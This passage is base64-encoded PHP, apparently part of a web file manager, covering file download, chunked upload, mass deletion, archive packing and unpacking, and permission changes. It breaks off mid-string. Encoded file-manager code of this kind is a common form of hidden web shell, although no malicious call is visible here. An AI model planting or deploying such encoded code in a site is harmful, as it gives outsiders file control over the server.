bnZhbGlkIFRva2VuLiIsICdlcnJvcicpOwogICAgfQoKICAgICRkbCA9IHVybGRlY29kZSgkX0dFVFsnZGwnXSk7CiAgICAkZGwgPSBmbV9jbGVhbl9wYXRoKCRkbCk7CiAgICAkZGwgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkZGwpOwogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICB9CiAgICBpZiAoJGRsICE9ICcnICYmIGlzX2ZpbGUoJHBhdGggLiAnLycgLiAkZGwpKSB7CiAgICAgICAgZm1fZG93bmxvYWRfZmlsZSgkcGF0aCAuICcvJyAuICRkbCwgJGRsLCAxMDI0KTsKICAgICAgICBleGl0OwogICAgfSBlbHNlIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7CiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQp9CgovLyBVcGxvYWQKaWYgKCFlbXB0eSgkX0ZJTEVTKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgIGlmKGlzc2V0KCRfUE9TVFsndG9rZW4nXSkpIHsKICAgICAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoJ3N0YXR1cycgPT4gJ2Vycm9yJywnaW5mbycgPT4gIkludmFsaWQgVG9rZW4uIik7CiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTsgZXhpdCgpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKCdzdGF0dXMnID0+ICdlcnJvcicsJ2luZm8nID0+ICJUb2tlbiBNaXNzaW5nLiIpOwogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTsgZXhpdCgpOwogICAgfQoKICAgICRjaHVua0luZGV4ID0gJF9QT1NUWydkemNodW5raW5kZXgnXTsKICAgICRjaHVua1RvdGFsID0gJF9QT1NUWydkenRvdGFsY2h1bmtjb3VudCddOwogICAgJGZ1bGxQYXRoSW5wdXQgPSBmbV9jbGVhbl9wYXRoKCRfUkVRVUVTVFsnZnVsbHBhdGgnXSk7CgogICAgJGYgPSAkX0ZJTEVTOwogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICAkZHMgPSBESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOwogICAgfQoKICAgICRlcnJvcnMgPSAwOwogICAgJHVwbG9hZHMgPSAwOwogICAgJGFsbG93ZWQgPSAoRk1fVVBMT0FEX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fVVBMT0FEX0VYVEVOU0lPTikgOiBmYWxzZTsKICAgICRyZXNwb25zZSA9IGFycmF5ICgKICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLAogICAgICAgICdpbmZvJyAgID0+ICdPb3BzISBUcnkgYWdhaW4nCiAgICApOwoKICAgICRmaWxlbmFtZSA9ICRmWydmaWxlJ11bJ25hbWUnXTsKICAgICR0bXBfbmFtZSA9ICRmWydmaWxlJ11bJ3RtcF9uYW1lJ107CiAgICAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19GSUxFTkFNRSkgIT0gJycgPyBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSkgOiAnJzsKICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7CgogICAgaWYoIWZtX2lzdmFsaWRfZmlsZW5hbWUoJGZpbGVuYW1lKSAmJiAhZm1faXN2YWxpZF9maWxlbmFtZSgkZnVsbFBhdGhJbnB1dCkpIHsKICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoCiAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsCiAgICAgICAgICAgICdpbmZvJyAgICAgID0+ICJJbnZhbGlkIEZpbGUgbmFtZSEiLAogICAgICAgICk7CiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2UpOyBleGl0KCk7CiAgICB9CgogICAgJHRhcmdldFBhdGggPSAkcGF0aCAuICRkczsKICAgIGlmICggaXNfd3JpdGFibGUoJHRhcmdldFBhdGgpICkgewogICAgICAgICRmdWxsUGF0aCA9ICRwYXRoIC4gJy8nIC4gJGZ1bGxQYXRoSW5wdXQ7CiAgICAgICAgJGZvbGRlciA9IHN1YnN0cigkZnVsbFBhdGgsIDAsIHN0cnJwb3MoJGZ1bGxQYXRoLCAiLyIpKTsKCiAgICAgICAgaWYgKCFpc19kaXIoJGZvbGRlcikpIHsKICAgICAgICAgICAgJG9sZCA9IHVtYXNrKDApOwogICAgICAgICAgICBta2RpcigkZm9sZGVyLCAwNzc3LCB0cnVlKTsKICAgICAgICAgICAgdW1hc2soJG9sZCk7CiAgICAgICAgfQoKICAgICAgICBpZiAoZW1wdHkoJGZbJ2ZpbGUnXVsnZXJyb3InXSkgJiYgIWVtcHR5KCR0bXBfbmFtZSkgJiYgJHRtcF9uYW1lICE9ICdub25lJyAmJiAkaXNGaWxlQWxsb3dlZCkgewogICAgICAgICAgICBpZiAoJGNodW5rVG90YWwpewogICAgICAgICAgICAgICAgJG91dCA9IEBmb3BlbigieyRmdWxsUGF0aH0ucGFydCIsICRjaHVua0luZGV4ID09IDAgPyAid2IiIDogImFiIik7CiAgICAgICAgICAgICAgICBpZiAoJG91dCkgewogICAgICAgICAgICAgICAgICAgICRpbiA9IEBmb3BlbigkdG1wX25hbWUsICJyYiIpOwogICAgICAgICAgICAgICAgICAgIGlmICgkaW4pIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFBIUF9WRVJTSU9OX0lEIDwgODAwMDkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIHdvcmthcm91bmQgaHR0cHM6Ly9idWdzLnBocC5uZXQvYnVnLnBocD9pZD04MTE0NQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoOzspIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZmYgPSBmcmVhZCgkaW4sIDQwOTYpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGJ1ZmYgPT09IGZhbHNlIHx8ICRidWZmID09PSAnJykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRvdXQsICRidWZmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICghZmVvZigkaW4pKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmVhbV9jb3B5X3RvX3N0cmVhbSgkaW4sICRvdXQpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdzdWNjZXNzJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiAiZmlsZSB1cGxvYWQgc3VjY2Vzc2Z1bCIKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoCiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsCiAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiAiZmFpbGVkIHRvIG9wZW4gb3V0cHV0IHN0cmVhbSIsCiAgICAgICAgICAgICAgICAgICAgICAgICdlcnJvckRldGFpbHMnID0+IGVycm9yX2dldF9sYXN0KCkKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaW4pOwogICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJG91dCk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkdG1wX25hbWUpOwoKICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoCiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdzdWNjZXNzJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+ICJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsIgogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgKICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ2Vycm9yJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+ICJmYWlsZWQgdG8gb3BlbiBvdXRwdXQgc3RyZWFtIgogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICgkY2h1bmtJbmRleCA9PSAkY2h1bmtUb3RhbCAtIDEpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMgKCRmdWxsUGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGV4dF8xID0gJGV4dCA/ICcuJy4kZXh0IDogJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsUGF0aFRhcmdldCA9ICRwYXRoIC4gJy8nIC4gYmFzZW5hbWUoJGZ1bGxQYXRoSW5wdXQsICRleHRfMSkgLidfJy4gZGF0ZSgneW1kSGlzJykuICRleHRfMTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkZnVsbFBhdGhUYXJnZXQgPSAkZnVsbFBhdGg7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHJlbmFtZSgieyRmdWxsUGF0aH0ucGFydCIsICRmdWxsUGF0aFRhcmdldCk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICB9IGVsc2UgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUsICRmdWxsUGF0aCkpIHsKICAgICAgICAgICAgICAgIC8vIEJlIHN1cmUgdGhhdCB0aGUgZmlsZSBoYXMgYmVlbiB1cGxvYWRlZAogICAgICAgICAgICAgICAgaWYgKCBmaWxlX2V4aXN0cygkZnVsbFBhdGgpICkgewogICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgKICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLAogICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gImZpbGUgdXBsb2FkIHN1Y2Nlc3NmdWwiCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKAogICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLAogICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgICA9PiAnQ291bGRuXCd0IHVwbG9hZCB0aGUgcmVxdWVzdGVkIGZpbGUuJwogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoCiAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ2Vycm9yJywKICAgICAgICAgICAgICAgICAgICAnaW5mbycgICAgICA9PiAiRXJyb3Igd2hpbGUgdXBsb2FkaW5nIGZpbGVzLiBVcGxvYWRlZCBmaWxlcyAkdXBsb2FkcyIsCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoCiAgICAgICAgICAgICdzdGF0dXMnID0+ICdlcnJvcicsCiAgICAgICAgICAgICdpbmZvJyAgID0+ICdUaGUgc3BlY2lmaWVkIGZvbGRlciBmb3IgdXBsb2FkIGlzblwndCB3cml0ZWFibGUuJwogICAgICAgICk7CiAgICB9CiAgICAvLyBSZXR1cm4gdGhlIHJlc3BvbnNlCiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7CiAgICBleGl0KCk7Cn0KCi8vIE1hc3MgZGVsZXRpbmcKaWYgKGlzc2V0KCRfUE9TVFsnZ3JvdXAnXSwgJF9QT1NUWydkZWxldGUnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHsKCiAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCJJbnZhbGlkIFRva2VuLiIpLCAnZXJyb3InKTsKICAgIH0KCiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgIH0KCiAgICAkZXJyb3JzID0gMDsKICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddOwogICAgaWYgKGlzX2FycmF5KCRmaWxlcykgJiYgY291bnQoJGZpbGVzKSkgewogICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgewogICAgICAgICAgICBpZiAoJGYgIT0gJycpIHsKICAgICAgICAgICAgICAgICRuZXdfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGY7CiAgICAgICAgICAgICAgICBpZiAoIWZtX3JkZWxldGUoJG5ld19wYXRoKSkgewogICAgICAgICAgICAgICAgICAgICRlcnJvcnMrKzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7CiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJyksICdlcnJvcicpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7CiAgICB9CgogICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovLyBQYWNrIGZpbGVzIHppcCwgdGFyCmlmIChpc3NldCgkX1BPU1RbJ2dyb3VwJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgKGlzc2V0KCRfUE9TVFsnemlwJ10pIHx8IGlzc2V0KCRfUE9TVFsndGFyJ10pKSAmJiAhRk1fUkVBRE9OTFkpIHsKCiAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCJJbnZhbGlkIFRva2VuLiIpLCAnZXJyb3InKTsKICAgIH0KCiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgICRleHQgPSAnemlwJzsKICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgIH0KCiAgICAvL3NldCBwYWNrIHR5cGUKICAgICRleHQgPSBpc3NldCgkX1BPU1RbJ3RhciddKSA/ICd0YXInIDogJ3ppcCc7CgogICAgaWYgKCgkZXh0ID09ICJ6aXAiICYmICFjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgfHwgKCRleHQgPT0gInRhciIgJiYgIWNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkpIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJyksICdlcnJvcicpOwogICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKICAgIH0KCiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTsKICAgICRzYW5pdGl6ZWRfZmlsZXMgPSBhcnJheSgpOwoKICAgIC8vIGNsZWFuIHBhdGgKICAgIGZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKICAgICAgICBhcnJheV9wdXNoKCRzYW5pdGl6ZWRfZmlsZXMsIGZtX2NsZWFuX3BhdGgoJGZpbGUpKTsKICAgIH0KICAgIAogICAgJGZpbGVzID0gJHNhbml0aXplZF9maWxlczsKICAgIAogICAgaWYgKCFlbXB0eSgkZmlsZXMpKSB7CiAgICAgICAgY2hkaXIoJHBhdGgpOwoKICAgICAgICBpZiAoY291bnQoJGZpbGVzKSA9PSAxKSB7CiAgICAgICAgICAgICRvbmVfZmlsZSA9IHJlc2V0KCRmaWxlcyk7CiAgICAgICAgICAgICRvbmVfZmlsZSA9IGJhc2VuYW1lKCRvbmVfZmlsZSk7CiAgICAgICAgICAgICR6aXBuYW1lID0gJG9uZV9maWxlIC4gJ18nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nLiRleHQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHppcG5hbWUgPSAnYXJjaGl2ZV8nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nLiRleHQ7CiAgICAgICAgfQoKICAgICAgICBpZigkZXh0ID09ICd6aXAnKSB7CiAgICAgICAgICAgICR6aXBwZXIgPSBuZXcgRk1fWmlwcGVyKCk7CiAgICAgICAgICAgICRyZXMgPSAkemlwcGVyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7CiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gJ3RhcicpIHsKICAgICAgICAgICAgJHRhciA9IG5ldyBGTV9aaXBwZXJfVGFyKCk7CiAgICAgICAgICAgICRyZXMgPSAkdGFyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7CiAgICAgICAgfQoKICAgICAgICBpZiAoJHJlcykgewogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdBcmNoaXZlJykuJyA8Yj4lczwvYj4gJy5sbmcoJ0NyZWF0ZWQnKSwgZm1fZW5jKCR6aXBuYW1lKSkpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdBcmNoaXZlIG5vdCBjcmVhdGVkJyksICdlcnJvcicpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7CiAgICB9CgogICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovLyBVbnBhY2sgemlwLCB0YXIKaWYgKGlzc2V0KCRfUE9TVFsndW56aXAnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHsKCiAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCJJbnZhbGlkIFRva2VuLiIpLCAnZXJyb3InKTsKICAgIH0KCiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTsKICAgICR1bnppcCA9IGZtX2NsZWFuX3BhdGgoJHVuemlwKTsKICAgICR1bnppcCA9IHN0cl9yZXBsYWNlKCcvJywgJycsICR1bnppcCk7CiAgICAkaXNWYWxpZCA9IGZhbHNlOwoKICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOwogICAgfQoKICAgIGlmICgkdW56aXAgIT0gJycgJiYgaXNfZmlsZSgkcGF0aCAuICcvJyAuICR1bnppcCkpIHsKICAgICAgICAkemlwX3BhdGggPSAkcGF0aCAuICcvJyAuICR1bnppcDsKICAgICAgICAkZXh0ID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pOwogICAgICAgICRpc1ZhbGlkID0gdHJ1ZTsKICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpOwogICAgfQoKICAgIGlmICgoJGV4dCA9PSAiemlwIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09ICJ0YXIiICYmICFjbGFzc19leGlzdHMoJ1BoYXJEYXRhJykpKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CiAgICB9CgogICAgaWYgKCRpc1ZhbGlkKSB7CiAgICAgICAgLy90byBmb2xkZXIKICAgICAgICAkdG9mb2xkZXIgPSAnJzsKICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd0b2ZvbGRlciddKSkgewogICAgICAgICAgICAkdG9mb2xkZXIgPSBwYXRoaW5mbygkemlwX3BhdGgsIFBBVEhJTkZPX0ZJTEVOQU1FKTsKICAgICAgICAgICAgaWYgKGZtX21rZGlyKCRwYXRoIC4gJy8nIC4gJHRvZm9sZGVyLCB0cnVlKSkgewogICAgICAgICAgICAgICAgJHBhdGggLj0gJy8nIC4gJHRvZm9sZGVyOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZigkZXh0ID09ICJ6aXAiKSB7CiAgICAgICAgICAgICR6aXBwZXIgPSBuZXcgRk1fWmlwcGVyKCk7CiAgICAgICAgICAgICRyZXMgPSAkemlwcGVyLT51bnppcCgkemlwX3BhdGgsICRwYXRoKTsKICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAidGFyIikgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJGd6aXBwZXIgPSBuZXcgUGhhckRhdGEoJHppcF9wYXRoKTsKICAgICAgICAgICAgICAgIGlmIChAJGd6aXBwZXItPmV4dHJhY3RUbygkcGF0aCxudWxsLCB0cnVlKSkgewogICAgICAgICAgICAgICAgICAgICRyZXMgPSB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmFsc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgLy9UT0RPOjogbmVlZCB0byBoYW5kbGUgdGhlIGVycm9yCiAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKCRyZXMpIHsKICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgdW5wYWNrZWQnKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IHVucGFja2VkJyksICdlcnJvcicpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpOwogICAgfQogICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovLyBDaGFuZ2UgUGVybXMgKG5vdCBmb3IgV2luZG93cykKaWYgKGlzc2V0KCRfUE9TVFsnY2htb2QnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikgewoKICAgIGlmKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoIkludmFsaWQgVG9rZW4uIiksICdlcnJvcicpOwogICAgfQogICAgCiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgIH0KCiAgICAkZmlsZSA9ICRfUE9TVFsnY2htb2QnXTsKICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7CiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRmaWxlKTsKICAgIGlmICgkZmlsZSA9PSAnJyB8fCAoIWlzX2ZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICcvJyAuICRmaWxlKSkpIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7CiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQoKICAgICRtb2RlID0gMDsKICAgIGlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkgewogICAgICAgICRtb2RlIHw9IDA0MDA7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXcnXSkpIHsKICAgICAgICAkbW9kZSB8PSAwMjAwOwogICAgfQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSB7CiAgICAgICAgJG1vZGUgfD0gMDEwMDsKICAgIH0KICAgIGlmICghZW1wdHkoJF9QT1NUWydnciddKSkgewogICAgICAgICRtb2RlIHw9IDAwNDA7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpIHsKICAgICAgICAkbW9kZSB8PSAwMDIwOwogICAgfQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSB7CiAgICAgICAgJG1vZGUgfD0gMDAxMDsKICAgIH0KICAgIGlmICghZW1wdHkoJF9QT1NUWydvciddKSkgewogICAgICAgICRtb2RlIHw9IDAwMDQ7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpIHsKICAgICAgICAkbW9kZSB8PSAwMDAyOwogICAgfQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSB7CiAgICAgICAgJG1vZGUgfD0gMDAwMTsKICAgIH0KCiAgICBpZiAoQGNobW9kKCRwYXRoIC4gJy8nIC4gJGZpbGUsICRtb2RlKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJykpOwogICAgfSBlbHNlIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnKSwgJ2Vycm9yJyk7CiAgICB9CgogICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovKioqKioqKioqKioqKioqKioqKioqKioqKioqIEFDVElPTlMgKioqKioqKioqKioqKioqKioqKioqKioqKioqLwoKLy8gZ2V0IGN1cnJlbnQgcGF0aAokcGF0aCA9IEZNX1JPT1RfUEFUSDsKaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7Cn0KCi8vIGNoZWNrIHBhdGgKaWYgKCFpc19kaXIoJHBhdGgpKSB7CiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTsKfQoKLy8gZ2V0IHBhcmVudCBmb2xkZXIKJHBhcmVudCA9IGZtX2dldF9wYXJlbnRfcGF0aChGTV9QQVRIKTsKCiRvYmplY3RzID0gaXNfcmVhZGFibGUoJHBhdGgpID8gc2NhbmRpcigkcGF0aCkgOiBhcnJheSgpOwokZm9sZGVycyA9